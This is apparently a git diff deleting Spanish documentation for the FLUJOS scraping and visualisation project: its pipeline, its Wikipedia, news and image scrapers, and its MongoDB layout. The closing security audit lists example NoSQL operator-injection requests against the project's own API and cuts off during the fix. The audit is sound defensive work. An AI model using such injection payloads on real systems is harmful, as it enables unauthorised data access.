| `WIKIPEDIA/main.py` | `ModuleNotFoundError: wikipediaapi` | `pip install wikipedia-api` en myenv |
| `NOTICIAS/main_noticias.py` | `ModuleNotFoundError: deep_translator` | `pip install deep-translator` en myenv |
Todos los módulos se instalan dentro del entorno virtual:
```bash
$FLUJOS/FLUJOS_DATOS/myenv/bin/python3 -m pip install <modulo>
```
No usar `pip` directamente (el ejecutable `pip` del venv puede estar roto; usar `python3 -m pip`).
---
## Dependencias Python
```
pymongo
bson # ObjectId (incluido con pymongo)
fcntl # stdlib Python
argparse # stdlib Python
subprocess
```
El pipeline maestro solo llama a los sub-scripts vía `subprocess.run()`, no importa sus módulos directamente.
---
## Flujo completo diagram
```
pipeline_maestro.py
├── setup_indices(db) # crea índices únicos
├── [FASE 1] fase_scraping()
│ ├── subprocess: WIKIPEDIA/main.py
│ ├── subprocess: NOTICIAS/main_noticias.py
│ ├── subprocess: IMAGENES/wikipedia_image_scraper.py --flujos --max 20 --mongo
│ └── subprocess: IMAGENES/comparar_imagenes_wiki.py --umbral 3.0 ← AÑADIDO 2026-04-24
├── [FASE 2] fase_analisis()
│ ├── subprocess: IMAGENES/pipeline_imagenes.py --analizar --carpeta ... --mongo
│ └── subprocess: COMPARACIONES/pipeline_mongolo.py
└── [FASE 3] fase_comparacion()
└── subprocess: COMPARACIONES/pipeline_completo.py [--desde YYYY-MM-DD]
```

View file

@ -1,98 +0,0 @@
# FLUJOS — Documentación técnica
**Última actualización:** 2026-04-21
**Proyecto:** Plataforma libre de análisis y visualización de flujos de información
**Stack:** Node.js + Express + MongoDB + Python (BERT, Qwen3-VL) + Three.js/3d-force-graph
---
## Índice de documentos
| Documento | Contenido |
|---|---|
| [SEGURIDAD.md](SEGURIDAD.md) | Informe de vulnerabilidades (NoSQL injection, XSS, rate limiting...) + fixes |
| [MONGODB.md](MONGODB.md) | Esquema de colecciones, índices, volúmenes, consultas frecuentes |
| [VISUALIZACION_JS.md](VISUALIZACION_JS.md) | Frontend Three.js, API endpoint, nodos imagen Sprite, scripts por vista |
| [SCRAPER_IMAGENES_QWEN.md](SCRAPER_IMAGENES_QWEN.md) | Scraper Wikipedia imágenes + analizador Qwen3-VL-8B (carga, batch, resume) |
| [SCRAPER_WIKIPEDIA.md](SCRAPER_WIKIPEDIA.md) | Scraper artículos Wikipedia, tokenización BERT, temas y keywords |
| [SCRAPER_NOTICIAS.md](SCRAPER_NOTICIAS.md) | Scraper de ~90 medios internacionales, traducción, limpieza, ficheros adjuntos |
| [PIPELINE_MAESTRO.md](PIPELINE_MAESTRO.md) | Orquestador 3 fases, systemd timer, lockfile, estado MongoDB, cooldowns |
---
## Arquitectura en una página
```
Internet
nginx (upleaks.org:443, TLS Let's Encrypt)
├── / → FLUJOS/VISUALIZACION/public/ (estáticos)
├── /api/ → proxy → Node.js :3000
└── /wiki-images/ → (Node.js sirve estáticos de IMAGENES/output/wiki_images/)
Node.js — FLUJOS/BACK_BACK/FLUJOS_APP.js
└── GET /api/data → MongoDB FLUJOS_DATOS
MongoDB localhost:27017 — FLUJOS_DATOS
├── wikipedia (~5k docs)
├── noticias (~20k docs)
├── imagenes (~150 docs, analizadas con Qwen)
├── imagenes_wiki (~500 docs, solo metadatos scrapeados)
├── comparaciones (~52M pares de similitud)
└── pipeline_log (estado de ejecuciones)
Python Pipeline (systemd timer — domingos 3:00 AM)
FLUJOS_DATOS/pipeline_maestro.py
├── Fase 1: scraping (Wikipedia + noticias + imágenes)
├── Fase 2: análisis (Qwen3-VL + tokenización BERT)
└── Fase 3: comparación (similitud coseno entre documentos)
```
---
## Variables de entorno (.env en FLUJOS/BACK_BACK/)
```
MONGO_URL=mongodb://localhost:27017
DB_NAME=FLUJOS_DATOS
PORT=3000
```
---
## Rutas críticas del servidor
```
$FLUJOS/
├── docs/ # esta documentación
├── FLUJOS/
│ ├── BACK_BACK/FLUJOS_APP.js # servidor Node.js
│ └── VISUALIZACION/public/ # frontend estático
├── FLUJOS_DATOS/
│ ├── pipeline_maestro.py # orquestador
│ ├── myenv/ # Python venv (~2 GB, en .gitignore)
│ ├── WIKIPEDIA/main.py # scraper Wikipedia
│ ├── NOTICIAS/main_noticias.py # scraper noticias
│ ├── IMAGENES/
│ │ ├── wikipedia_image_scraper.py # scraper imágenes
│ │ ├── image_analyzer.py # Qwen3-VL
│ │ ├── pipeline_imagenes.py # orquestador imágenes
│ │ ├── model_cache/ # Qwen descargado (~16 GB, .gitignore)
│ │ └── output/wiki_images/ # imágenes en disco (.gitignore)
│ └── COMPARACIONES/
│ ├── pipeline_completo.py # cálculo de similitud
│ └── pipeline_mongolo.py # tokenización + inserción MongoDB
└── .gitignore # excluye datos pesados del repo
```
---
## Seguridad — prioridades pendientes
1. 🔴 **Aplicar `sanitizeParam()`** en FLUJOS_APP.js para prevenir NoSQL injection
2. 🔴 **Cambiar `'0.0.0.0'` por `'127.0.0.1'`** en `app.listen()` para cerrar puerto 3000
3. 🟠 **Reemplazar `innerHTML` por `textContent`** en output_int_sec.js y 3dscript_eco-corp.html
4. 🟠 **Añadir `express-rate-limit`** al endpoint `/api/`
5. 🟡 **Activar `helmet()` completo** (no solo CSP) para quitar `X-Powered-By`
Ver [SEGURIDAD.md](SEGURIDAD.md) para código de fix completo.

View file

@ -1,287 +0,0 @@
# Scraper de Imágenes + Analizador Qwen3-VL — Contexto técnico FLUJOS
**Fecha:** 2026-04-21
**Directorio:** `FLUJOS_DATOS/IMAGENES/`
**Entorno:** `FLUJOS_DATOS/myenv/` (Python 3.11, venv)
---
## Componentes del módulo
```
FLUJOS_DATOS/IMAGENES/
├── wikipedia_image_scraper.py # Descarga imágenes de Wikipedia por tema
├── image_analyzer.py # Analiza imágenes con Qwen3-VL-8B
├── image_comparator.py # Compara imágenes (similaridad visual)
├── mongo_helper.py # Utilidades MongoDB para este módulo
├── pipeline_imagenes.py # Orquestador del módulo (flags CLI)
├── requirements_imagenes.txt # Dependencias del módulo
├── model_cache/ # Modelo Qwen descargado (~16 GB) — en .gitignore
└── output/
└── wiki_images/ # Imágenes descargadas — en .gitignore
├── cambio_climático/
├── geopolítica_conflictos/
├── seguridad_internacional_espionaje/
└── ...
```
---
## Parte 1: wikipedia_image_scraper.py
### Qué hace
Descarga imágenes de Wikipedia por tema usando la **Wikimedia REST API**. Para cada tema de FLUJOS busca artículos relacionados, extrae las imágenes de cada artículo y las descarga filtrando iconos/logos pequeños.
### Temas de FLUJOS que se scrapean (`TEMAS_FLUJOS`)
```python
# ACTUALIZADO 2026-04-24: cambiados a los 5 temas del frontend
# (antes eran 10 con nombres académicos que no coincidían con los temas del backend)
TEMAS_FLUJOS = [
"cambio climático",
"guerra global",
"inteligencia y seguridad",
"economía y corporaciones",
"demografía y sociedad",
]
```
> **Por qué cambió:** Los 10 temas originales ("geopolítica conflictos", "seguridad internacional espionaje", etc.) no coincidían con los temas validados en `FLUJOS_APP.js` (`TEMAS_VALIDOS`), por lo que las imágenes se descargaban pero nunca aparecían en el grafo porque la query `{tema: "inteligencia y seguridad"}` no encontraba documentos con `tema: "seguridad internacional espionaje"`.
> Las imágenes scrapeadas con los temas antiguos siguen en disco (`output/wiki_images/geopolítica_conflictos/`, etc.) pero solo las de los 5 temas nuevos están accesibles desde el frontend.
### Filtros de calidad (imágenes que se descartan)
```python
MIN_WIDTH = 200 # pixels
MIN_HEIGHT = 200 # pixels
MIN_BYTES = 20_000 # 20 KB mínimo
SKIP_PATTERNS = [
"flag_", "Flag_", "icon", "Icon", "logo", "Logo",
"symbol", "Symbol", "coat_of_arms", "commons-logo",
"wiki", "Wiki", "question_mark", "edit-", "nuvola",
"Nuvola", "pictogram", "OOjs", "Ambox", "Portal-", "Disambig",
]
VALID_EXTENSIONS = {".jpg", ".jpeg", ".png", ".webp"}
```
### Flujo interno
```
buscar_articulos(tema, lang='es')
└── GET https://es.wikipedia.org/w/api.php?action=query&list=search&srsearch={tema}
└── para cada artículo:
get_article_images(titulo)
└── GET https://es.wikipedia.org/w/api.php?action=query&prop=images
└── para cada imagen:
get_image_info(filename) → Wikimedia API
└── descarga si pasa filtros
└── guarda en output/wiki_images/{tema_slug}/
└── upsert en MongoDB imagenes_wiki
```
### Deduplicación
Upsert por `archivo` (nombre del fichero) en MongoDB `imagenes_wiki`. Si el fichero ya existe en disco, se salta la descarga.
### Uso CLI
```bash
# Scrape de todos los temas FLUJOS, max 20 imgs/tema, con MongoDB
python wikipedia_image_scraper.py --flujos --max 20 --mongo
# Scrape de un tema concreto
python wikipedia_image_scraper.py --tema "cambio climático" --max 30 --mongo
# Con idioma inglés
python wikipedia_image_scraper.py --tema "climate change" --lang en --max 40
```
### Documento MongoDB generado (colección `imagenes_wiki`)
```json
{
"archivo": "cambio_climático_003.jpg",
"image_path": "$FLUJOS/FLUJOS_DATOS/IMAGENES/output/wiki_images/cambio_climático/cambio_climático_003.jpg",
"image_url": "https://upload.wikimedia.org/wikipedia/commons/...",
"tema": "cambio climático",
"subtema": "derretimiento glaciar ártico",
"descripcion_wiki": "Glaciar en retroceso en el Ártico, 2019",
"articulo_titulo": "Cambio climático en el Ártico",
"fecha": ISODate("2026-04-21")
}
```
---
## Parte 2: image_analyzer.py (Qwen3-VL-8B)
### Modelo usado
**Qwen/Qwen2.5-VL-7B-Instruct** (HuggingFace)
- Tamaño: ~16 GB en disco (bfloat16)
- Inferencia: CPU (sin GPU disponible actualmente)
- RAM necesaria: ~1618 GB para el modelo + ~2 GB por batch de 4 imágenes
- Cache local: `IMAGENES/model_cache/`
> El servidor tiene 64 GB RAM, por lo que cabe sin problema. En GPU (A100/RTX 3090+) sería 1050x más rápido.
### Carga del modelo
```python
from transformers import Qwen2_5_VLForConditionalGeneration, AutoProcessor
import torch
model = Qwen2_5_VLForConditionalGeneration.from_pretrained(
"Qwen/Qwen2.5-VL-7B-Instruct",
torch_dtype=torch.bfloat16, # mitad de RAM vs float32
device_map="cpu",
cache_dir=str(IMAGENES_DIR / "model_cache"),
)
processor = AutoProcessor.from_pretrained(
"Qwen/Qwen2.5-VL-7B-Instruct",
cache_dir=str(IMAGENES_DIR / "model_cache"),
)
```
### Prompt de análisis
```python
PROMPT = """Analiza esta imagen y proporciona:
1. Una descripción concisa del contenido principal (máx. 2 frases).
2. El tema principal (elige uno): cambio climático, conflicto armado, economía, política, tecnología, sociedad, otro.
3. Lista de 3-5 palabras clave relevantes.
Formato de respuesta:
DESCRIPCIÓN: [descripción]
TEMA: [tema]
PALABRAS CLAVE: [kw1, kw2, kw3]"""
```
### Procesamiento por batch
```python
def analyze_batch(image_paths: list[Path]) -> list[dict]:
"""Procesa hasta 4 imágenes por llamada al modelo."""
```
`batch_size=4` por defecto. Cada batch ocupa ~2 GB RAM adicionales.
### Resume automático
Antes de analizar, verifica qué imágenes ya están en MongoDB `imagenes`:
```python
def get_already_analyzed() -> set[str]:
"""Devuelve set de nombres de archivo ya en la colección imagenes."""
return {doc['archivo'] for doc in db['imagenes'].find({}, {'archivo': 1})}
```
Solo procesa imágenes no presentes en la BD.
### Priorización de imágenes
```python
def get_known_article_titles() -> set[str]:
"""Títulos de artículos presentes en wikipedia/noticias."""
# Prioriza imágenes cuyo tema coincide con artículos existentes
```
Las imágenes de temas con más documentos de texto en la BD se procesan primero, para maximizar la probabilidad de que los nodos imagen queden conectados por comparaciones.
### Documento MongoDB generado (colección `imagenes`)
```json
{
"archivo": "cambio_climático_003.jpg",
"image_path": "/var/www/.../output/wiki_images/cambio_climático/cambio_climático_003.jpg",
"tema": "cambio climático",
"subtema": "calentamiento global",
"texto": "Imagen satelital del retroceso del glaciar ártico entre 1990 y 2023. Se observa una reducción significativa de la capa de hielo.",
"keywords": ["glaciar", "ártico", "deshielo", "calentamiento", "satélite"],
"fecha": ISODate("2026-04-21")
}
```
---
## Parte 3: pipeline_imagenes.py (orquestador)
### Flags CLI
```bash
python pipeline_imagenes.py --scrape # solo scraping de imágenes
python pipeline_imagenes.py --analizar # solo análisis Qwen
python pipeline_imagenes.py --mongo # escribe resultados en MongoDB
python pipeline_imagenes.py --solo-json # escribe JSON local en vez de Mongo
python pipeline_imagenes.py --analizar --carpeta /ruta/custom --mongo
```
### Integración en el pipeline maestro
El `pipeline_maestro.py` lo llama así:
**Fase 1 (scraping):**
```bash
python wikipedia_image_scraper.py --flujos --max 20 --mongo
```
**Fase 2 (análisis):**
```bash
python pipeline_imagenes.py --analizar \
--carpeta FLUJOS_DATOS/IMAGENES/output/wiki_images \
--mongo
```
---
## Dependencias Python (requirements_imagenes.txt)
```
transformers>=4.45
torch>=2.1
qwen-vl-utils
Pillow
requests
pymongo
scikit-learn
python-dotenv
```
Instalación en el venv:
```bash
$FLUJOS/FLUJOS_DATOS/myenv/bin/python3 -m pip install -r requirements_imagenes.txt
```
---
## Estado actual (2026-04-21)
- Imágenes en disco: ~155 imágenes en `output/wiki_images/` (10 temas × ~15 imgs)
- Imágenes en `imagenes_wiki` (MongoDB): ~150 docs
- Imágenes analizadas con Qwen en `imagenes` (MongoDB): proceso en curso / pendiente de primera ejecución completa
- El modelo Qwen se descarga automáticamente la primera vez que se llama (~16 GB, puede tardar 3060 min)
## Script auxiliar: comparar_imagenes_wiki.py (AÑADIDO 2026-04-24)
Script que genera comparaciones TF-IDF entre `imagenes_wiki` y el corpus de texto (wikipedia + noticias + torrents) sin necesidad de Qwen. Sirve como fallback mientras `imagenes` (Qwen) esté vacío.
```bash
python comparar_imagenes_wiki.py # todos los temas, umbral 3%
python comparar_imagenes_wiki.py --umbral 5.0 # más restrictivo
python comparar_imagenes_wiki.py --tema "cambio climático"
```
Los documentos generados en `comparaciones` tienen los campos extendidos:
`source1_type: "imagen"`, `source2_type: "wikipedia"|"noticias"|"torrents"`, `tema`.
Cuando Qwen finalmente analice las imágenes, `pipeline_imagenes.py --analizar --mongo` generará comparaciones más ricas (basadas en keywords VLM) que COEXISTIRÁN con estas TF-IDF (misma colección, no se sobreescriben).
## Pendiente / mejoras futuras
- Activar GPU cuando esté disponible (cambiar `device_map="cpu"``"cuda"`)
- Aumentar `--max` a 50+ imágenes por tema
- Resolver el timeout de Qwen (186 imgs × 3min/img ≈ 9h): separarlo en un systemd service propio con `TimeoutStartSec=86400`
- Añadir soporte para imágenes de noticias (no solo Wikipedia)

View file

@ -1,270 +0,0 @@
# Scraper de Noticias — Contexto técnico FLUJOS
**Fecha:** 2026-04-21
**Archivo:** `FLUJOS_DATOS/NOTICIAS/main_noticias.py`
**Entorno:** `FLUJOS_DATOS/myenv/` (Python 3.11, venv)
---
## Qué hace
Scraper web recursivo que:
1. Visita ~90 URLs de medios de comunicación internacionales
2. Explora sus páginas recursivamente hasta profundidad 6
3. Descarga artículos (texto) y ficheros adjuntos (PDF, CSV, DOCX, XLSX, ZIP)
4. Traduce a español si el contenido está en otro idioma
5. Limpia y tokeniza con BERT
6. Guarda en disco y MongoDB (`noticias`)
---
## Lista de fuentes (90 medios)
```python
urls = [
# Bases de datos de investigación
'https://reactionary.international/database/',
'https://aleph.occrp.org/', # OCCRP — periodismo de investigación
'https://offshoreleaks.icij.org/', # ICIJ — paraísos fiscales
# Prensa española
'https://www.publico.es/', 'https://www.elsaltodiario.com/',
'https://elpais.com/', 'https://www.elmundo.es/', 'https://www.abc.es/',
'https://www.lavanguardia.com/', 'https://www.elconfidencial.com/',
'https://www.eldiario.es/', 'https://www.rtve.es/', ...
# Prensa internacional
'https://www.nytimes.com/', 'https://www.theguardian.com/',
'https://www.lemonde.fr/', 'https://www.spiegel.de/',
'https://www.washingtonpost.com/', 'https://www.aljazeera.com/',
'https://www.bbc.com/', 'https://www.reuters.com/',
'https://www.ft.com/', 'https://www.economist.com/', ...
# Prensa tech / seguridad
'https://www.wired.com/', 'https://www.theregister.com/',
'https://www.arstechnica.com/', 'https://www.zdnet.com/',
'https://www.cyberdefensemagazine.com/', 'https://www.darkreading.com/', ...
]
```
Total: ~90 URLs seed. Cada una se explora recursivamente hasta 6 niveles de profundidad.
---
## Flujo de scraping recursivo
```python
def explore_and_extract_articles(url, articles_folder, files_folder,
processed_urls, size_limit, depth=0, max_depth=6):
```
```
para cada URL seed:
explore_and_extract_articles(url, depth=0, max_depth=6)
└── HTMLSession.get(url).html.render() # ejecuta JavaScript con Chromium headless
para cada link encontrado:
if link ya procesado: skip
processed_urls.add(link)
if extensión es PDF/CSV/DOCX/XLSX/ZIP/HTML/MD:
download_and_save_file(link, files_folder)
else:
extract_and_save_article(link, articles_folder)
explore_and_extract_articles(link, depth+1) # recursivo
if tamaño total > 50 GB: parar
explore_wayback_machine(url, articles_folder) # fallback Wayback Machine
```
### Renderizado JavaScript
Usa `requests-html` con Chromium headless (Pyppeteer) para renderizar páginas que cargan contenido con JavaScript. Esto permite scraping de medios que usan SPA/React.
```python
session = HTMLSession()
response = session.get(url, timeout=30)
response.html.render(timeout=30, sleep=1) # espera 1s a que cargue el JS
links = response.html.absolute_links
```
---
## Extracción y limpieza de artículos
```python
def extract_and_save_article(url, articles_folder):
response = requests.get(url, timeout=30)
soup = BeautifulSoup(response.content, 'html.parser')
title = soup.find('title').get_text().strip()
paragraphs = soup.find_all('p')
content = ' '.join([p.get_text() for p in paragraphs])
translated = translate_text(content) # → español
cleaned = clean_text(translated) # → limpieza + stopwords
filename = clean_filename(title) + '.txt'
guardar en articles_folder/filename
```
### Traducción automática
```python
from deep_translator import GoogleTranslator
def translate_text(text):
return GoogleTranslator(source='auto', target='es').translate(text)
```
Usa Google Translate vía `deep-translator`. Detecta idioma automáticamente. Fallo → devuelve el texto original sin traducir.
### Limpieza de texto
```python
def clean_text(text):
text = re.sub(r'<!\[\s*CDATA\s*\[.*?\]\]>', '', text, flags=re.S) # CDATA
soup = BeautifulSoup(text, 'html.parser')
text = soup.get_text(separator=" ") # HTML → texto plano
text = text.lower()
text = re.sub(r'http\S+', '', text) # elimina URLs
text = re.sub(r'[^a-záéíóúñü\s]', '', text) # solo letras + espacios
text = re.sub(r'\s+', ' ', text).strip()
words = [w for w in text.split() if w not in STOPWORDS]
return ' '.join(words)
```
---
## Procesamiento de ficheros descargados
```python
def process_files(files_folder, destination_folder):
for file in os.walk(files_folder):
if .pdf: content = read_pdf(file_path) # PyPDF2
elif .csv: content = read_csv(file_path) # csv.reader
elif .txt: content = open(file_path).read()
elif .docx: content = read_docx(file_path) # python-docx
elif .xlsx: content = read_xlsx(file_path) # openpyxl
elif .zip: content = read_zip(file_path) # zipfile
elif .html/.md: content = format_content(html2text)
translated = translate_text(content)
cleaned = clean_text(translated)
tokenize_and_save(cleaned, file, destination_folder)
```
---
## Tokenización BERT
```python
from transformers import BertTokenizer
tokenizer = BertTokenizer.from_pretrained('dccuchile/bert-base-spanish-wwm-cased')
def tokenize_and_save(text, filename, destination_folder):
tokens = tokenizer.encode(text, truncation=True, max_length=512, add_special_tokens=True)
tokens_str = ' '.join(map(str, tokens))
open(f'{destination_folder}/{filename}', 'w').write(tokens_str)
```
Mismo modelo BERT en español que el scraper de Wikipedia. Trunca a 512 tokens.
---
## Deduplicación por URL
```python
def register_processed_notifications(base_folder, urls):
"""Lee/escribe processed_articles.txt para evitar re-procesar URLs."""
txt_path = os.path.join(base_folder, "processed_articles.txt")
processed_urls = set(open(txt_path).read().splitlines())
urls_to_process = [u for u in urls if u not in processed_urls]
# Añade nuevas URLs al fichero
return urls_to_process
```
Las URLs ya procesadas se guardan en `NOTICIAS/processed_articles.txt`. Esto es la deduplicación a nivel de seed URL, pero NO previene artículos duplicados desde diferentes URLs.
---
## Límites configurados
```python
FOLDER_SIZE_LIMIT = 50 * 1024 * 1024 * 1024 # 50 GB máximo en disco
max_depth = 6 # profundidad recursiva máxima
```
---
## Estructura de ficheros en disco (ignorada por git)
```
FLUJOS_DATOS/NOTICIAS/
├── articulos/ # .gitignore — .txt por artículo scrapeado
├── archivos/ # .gitignore — PDF, CSV, DOCX, etc. descargados
├── tokenized/ # .gitignore — IDs BERT por documento
├── processed_articles.txt # .gitignore — URLs ya procesadas
├── noticias_procesadas.txt # .gitignore
├── main_noticias.py
└── docs.txt
```
---
## Documento MongoDB generado (colección `noticias`)
La inserción a MongoDB la hace `pipeline_mongolo.py` (Fase 2), no el scraper directamente. El scraper solo guarda en disco.
```json
{
"_id": ObjectId,
"archivo": "titulo-de-la-noticia.txt",
"tema": "guerra global",
"subtema": "conflictos internacionales",
"texto": "texto limpio de la noticia...",
"fecha": ISODate | null
}
```
---
## Wayback Machine como fallback
```python
def explore_wayback_machine(url, articles_folder):
api_url = f"http://archive.org/wayback/available?url={url}"
data = requests.get(api_url).json()
archive_url = data['archived_snapshots']['closest']['url']
extract_and_save_article(archive_url, articles_folder)
```
Si un medio está caído o bloquea el scraper, intenta obtener la versión más reciente desde archive.org.
---
## Limitaciones conocidas
1. **Renderizado headless lento**`requests-html` usa Pyppeteer/Chromium, ~25 seg/página. Escalar a 20.000 artículos cuesta horas.
2. **Sin respeto a robots.txt** — El scraper no verifica robots.txt. Algunos medios bloquean scraping.
3. **Paywall** — Medios como FT, NYT, WSJ bloquean sin suscripción. El scraper solo obtiene lo que es público.
4. **Traducción de textos largos**`deep-translator` tiene límite de ~5.000 chars por llamada. Textos largos pueden fallar silenciosamente.
5. **Sin fecha de publicación** — Se parsea el título HTML, no los metadatos `<meta property="article:published_time">`. El campo `fecha` suele quedar vacío.
6. **Recursión sin límite de anchura** — Una página con 1.000 links genera 1.000 llamadas recursivas. Puede tardar mucho en sitios grandes.
---
## Dependencias
```
requests
requests-html # HTMLSession + Pyppeteer
beautifulsoup4
html2text
deep-translator # Google Translate API no oficial
PyPDF2
python-docx
openpyxl
transformers # BertTokenizer
tqdm
pymongo
```

View file

@ -1,205 +0,0 @@
# Scraper de Wikipedia — Contexto técnico FLUJOS
**Fecha:** 2026-04-21
**Archivo:** `FLUJOS_DATOS/WIKIPEDIA/main.py`
**Utilidades:** `FLUJOS_DATOS/WIKIPEDIA/wikipedia_utils.py`
**Entorno:** `FLUJOS_DATOS/myenv/` (Python 3.11, venv)
---
## Qué hace
Descarga artículos de Wikipedia en español organizados por temas de FLUJOS, los limpia, tokeniza con BERT y los guarda en disco (`.txt`) y MongoDB (`wikipedia`).
---
## Temas y palabras clave
El scraper itera sobre un diccionario de temas con listas de keywords. Para cada keyword hace una búsqueda en la Wikipedia API y descarga los artículos encontrados.
```python
temas = {
"inteligencia y seguridad": [
"inteligencia", "seguridad", "espionaje", "ciberseguridad", "NSA", "FBI", "CIA",
"contraterrorismo", "criptografía", "vigilancia", "hackeo", "ransomware", ...
],
"guerras": [
"guerra", "conflicto", "batalla", "militar", "guerra civil", "intervención militar",
"fuerzas armadas", "ejército", "terrorismo", "crímenes de guerra", ...
],
"corporaciones": [
"empresa", "multinacionales", "mercado bursátil", "BlackRock", "Vanguard",
"fusiones", "adquisiciones", "venture capital", "evasión fiscal", ...
],
"demografía": [
"población", "migración", "natalidad", "urbanización", "refugiados",
"desigualdad", "pobreza", "pandemia", ...
],
"cambio climático": [
"cambio climático", "calentamiento global", "energías renovables",
"deforestación", "emisiones de carbono", "acuerdo de París", ...
],
"organizaciones internacionales": [
"OTAN", "BRICS", "ONU", "Unión Europea", "FMI", "Banco Mundial", ...
],
"gobiernos autoritarios": [
"dictadura", "autoritario", "represión política", "censura", "prisioneros políticos", ...
],
}
```
Cada tema tiene entre 50 y 100 palabras clave. En total son ~500 keywords → cada una genera hasta 50 artículos = **potencial de ~25.000 artículos**.
---
## Flujo de scraping
```
para cada (tema, palabras_clave):
para cada palabra_clave:
buscar_articulos(palabra_clave, max_articulos=50, offset=0)
└── GET https://es.wikipedia.org/w/api.php
action=query, list=search, srsearch={keyword}
para cada titulo encontrado:
if titulo not in titulos_descargados:
contenido = obtener_contenido_wikipedia(titulo)
└── GET https://es.wikipedia.org/w/api.php
action=query, prop=revisions, rvprop=content
guardar en articulos_wikipedia/{titulo_limpio}.txt
titulos_descargados.add(titulo)
offset += 50 # paginación
time.sleep(1) # cortesía hacia la API
```
**Límite de tamaño:** Para cuando `articulos_wikipedia/` supera 100 GB (en la práctica nunca se ha alcanzado).
---
## Limpieza de texto
```python
def limpiar_texto(texto):
texto = texto.lower()
texto = re.sub(r'[^\w\s]', '', texto) # elimina puntuación
palabras = texto.split()
palabras_limpias = [p for p in palabras if p not in stopwords]
return ' '.join(palabras_limpias)
```
Stopwords: lista manual en español (~200 palabras). No usa NLTK en este módulo (sí en pipeline_completo.py).
---
## Tokenización BERT
```python
from transformers import BertTokenizer
tokenizer = BertTokenizer.from_pretrained('dccuchile/bert-base-spanish-wwm-cased')
def TOKENIZER():
archivos = os.listdir('articulos_wikipedia')
for archivo in archivos:
contenido = open(f'articulos_wikipedia/{archivo}').read()
tokens_ids = tokenizer.encode(contenido, add_special_tokens=False)
with open(f'articulos_tokenizados/{archivo}', 'w') as f:
f.write(' '.join(map(str, tokens_ids)))
```
- Modelo BERT: `dccuchile/bert-base-spanish-wwm-cased` (BERT en español de la U. de Chile)
- Truncación: 512 tokens máximo por documento
- Output: archivo `.txt` con IDs numéricos separados por espacios
---
## Limpiar nombre de fichero
```python
def limpiar_nombre_archivo(nombre):
nombre = re.sub(r'[\\/*?:"<>|]', "_", nombre)
return nombre
# Ejemplo: "Guerra_del_Golfo_(1990)" → "Guerra_del_Golfo__1990_"
```
El nombre del fichero es el título del artículo de Wikipedia limpiado. Es también el `archivo` en MongoDB (clave de dedup).
---
## Asignación de tema y subtema
Esta lógica vive en `pipeline_completo.py::asignar_tema_y_subtema()`, no en el scraper. El scraper solo guarda texto; el tokenizador/comparador asigna el tema.
```python
tematicas = {
'inteligencia y seguridad': ['inteligencia', 'ciberseguridad', 'espionaje', ...],
'cambio climático': ['cambio climático', 'desastres naturales', ...],
'guerra global': ['conflictos internacionales', 'guerras civiles', ...],
'demografía y sociedad': ['sobrepoblación', 'migraciones', ...],
'economía y corporaciones': ['economía global', 'corporaciones multinacionales', ...],
}
# Si ningún keyword coincide: tema='otros', subtema='general'
```
---
## Documento MongoDB generado (colección `wikipedia`)
```json
{
"_id": ObjectId,
"archivo": "Guerra_del_Golfo.txt",
"tema": "guerra global",
"subtema": "conflictos internacionales",
"texto": "La Guerra del Golfo fue un conflicto armado...",
"fecha": null // Wikipedia no suele tener fecha de publicación clara
}
```
La inserción usa upsert por `archivo` para deduplicar.
---
## Almacenamiento en disco (ignorado por git)
```
FLUJOS_DATOS/WIKIPEDIA/
├── articulos_wikipedia/ # .gitignore — txt en español por artículo
├── articulos_tokenizados/ # .gitignore — IDs BERT por artículo
├── main.py
├── wikipedia_utils.py
└── docs.txt
```
---
## Ejecución dentro del pipeline maestro
`pipeline_maestro.py` Fase 1 llama:
```bash
$FLUJOS/FLUJOS_DATOS/myenv/bin/python3 \
FLUJOS_DATOS/WIKIPEDIA/main.py
```
Desde el directorio `FLUJOS_DATOS/WIKIPEDIA/` para que las rutas relativas (`articulos_wikipedia/`) funcionen.
---
## Limitaciones conocidas
1. **Sin fecha en artículos Wikipedia** — El scraper no extrae la fecha de revisión. El campo `fecha` queda en `null` o vacío en Mongo, lo que rompe los filtros de fecha en la API.
2. **Nombres duplicados potenciales** — Artículos con títulos similares generan el mismo nombre de fichero después de la limpieza.
3. **No hay control de idioma** — Si un keyword es un acrónimo (NSA, CIA), puede devolver artículos en inglés mezclados con los españoles.
4. **Tokenización trunca a 512 tokens** — Artículos largos pierden la segunda mitad para el cálculo de similitud.
5. **Sin rate limiting robusta** — Solo `time.sleep(1)` entre keywords, pero la Wikipedia API tiene un límite de 200 req/s por IP (raramente alcanzado).
---
## Dependencias
```
transformers>=4.45 (BertTokenizer)
tqdm
requests
pymongo
```
BERT (`dccuchile/bert-base-spanish-wwm-cased`) se descarga automáticamente en el primer uso (~500 MB, se cachea en `~/.cache/huggingface/`).

View file

@ -1,239 +0,0 @@
# Seguridad — FLUJOS
**Scope:** API REST (`FLUJOS_APP.js`), frontend JS, configuración nginx/systemd
## Estado
**Todas las vulnerabilidades de este documento están corregidas.** Lo que sigue es el
registro de la auditoría y de las mitigaciones que se aplicaron, no una lista de agujeros
abiertos. Se conserva porque explica por qué el código valida como valida.
Comprobable en `FLUJOS/BACK_BACK/FLUJOS_APP.js`:
| Mitigación | Dónde |
|---|---|
| Bind sólo a loopback | `app.listen(port, '127.0.0.1', ...)` |
| Helmet + CSP propia | `app.use(helmet())` y `helmet.contentSecurityPolicy` |
| Rechazo de operadores Mongo | `sanitizeParam()` descarta todo lo que no sea string |
| Lista blanca de temas | `TEMAS_VALIDOS` |
| Escape de metacaracteres | en `palabraClave`, antes de construir el `$regex` |
| Rate limiting | en el buzón de envíos |
| Panel admin fail-closed | `requireAdmin`, token por env o fichero fuera del webroot |
---
## Auditoría original
---
## Vulnerabilidades encontradas
### 🔴 CRÍTICA 1 — NoSQL Injection (MongoDB Operator Injection)
**Archivo:** `FLUJOS/BACK_BACK/FLUJOS_APP.js` líneas 5772
**Estado:** CONFIRMADA. Probada manualmente, devuelve datos reales.
Express parsea `?tema[$ne]=nada` como el objeto JavaScript `{ $ne: "nada" }`, que MongoDB acepta como operador. Todos los parámetros de query van directamente al filtro sin validación de tipo.
**Vectores explotables:**
```
GET /api/data?tema[$ne]=nada&nodos=500
→ Devuelve 500 nodos de CUALQUIER tema (bypasa el filtro)
GET /api/data?tema[$gt]=&nodos=500
→ Equivalente a "todos los documentos donde tema > ''"
GET /api/data?subtematica[$regex]=.*&tema=guerra+global
→ Itera toda la subcolección
GET /api/data?fechaInicio[$type]=9&fechaFin[$type]=9&tema=guerra+global
→ Fuerza error de tipo, puede revelar stack traces en logs
```
**Fix (10 min):**
```javascript
// En FLUJOS_APP.js, justo después de desestructurar req.query:
function sanitizeParam(val) {
if (typeof val !== 'string') return undefined;
